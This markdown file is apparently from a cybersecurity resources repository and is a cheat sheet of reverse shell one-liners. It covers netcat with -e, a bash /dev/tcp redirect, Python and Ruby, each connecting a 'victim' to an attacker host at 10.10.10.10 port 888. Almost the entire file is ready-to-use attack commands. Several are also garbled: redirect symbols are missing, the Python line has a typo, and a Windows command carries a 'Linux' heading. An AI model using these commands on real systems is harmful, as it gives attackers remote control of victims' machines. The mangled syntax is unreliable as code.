cyber-security-resources/useful_commands_and_scripts/reverse_shells.md

Reverse Shell Commands

The following are some useful commands to start listeners and reverse shells in Linux and Windows-based systems.

Netcat Linux Reverse Shell

nc 10.10.10.10 888 -e /bin/sh

• 10.10.10.10 is the IP address of the machine you want the victim to connect to.
• 888 is the port number (change this to whatever port you would like to use, just make sure that no firewall is blocking it).

Netcat Linux Reverse Shell

nc 10.10.10.10 888 -e cmd.exe

• 10.10.10.10 is the IP address of the machine you want the victim to connect to.
• 888 is the port number (change this to whatever port you would like to use, just make sure that no firewall is blocking it).

Using Bash

bash -i & /dev/tcp/10.10.10.10/888 0 &1

Using Python

python -c 'import socket, subprocess, os; s=socket. socket (socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.10.10.10",888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(l,1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

Using Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",888).to_i; exec sprintf("/bin/sh -i &%d &%d 2 &%d",f,f,f)'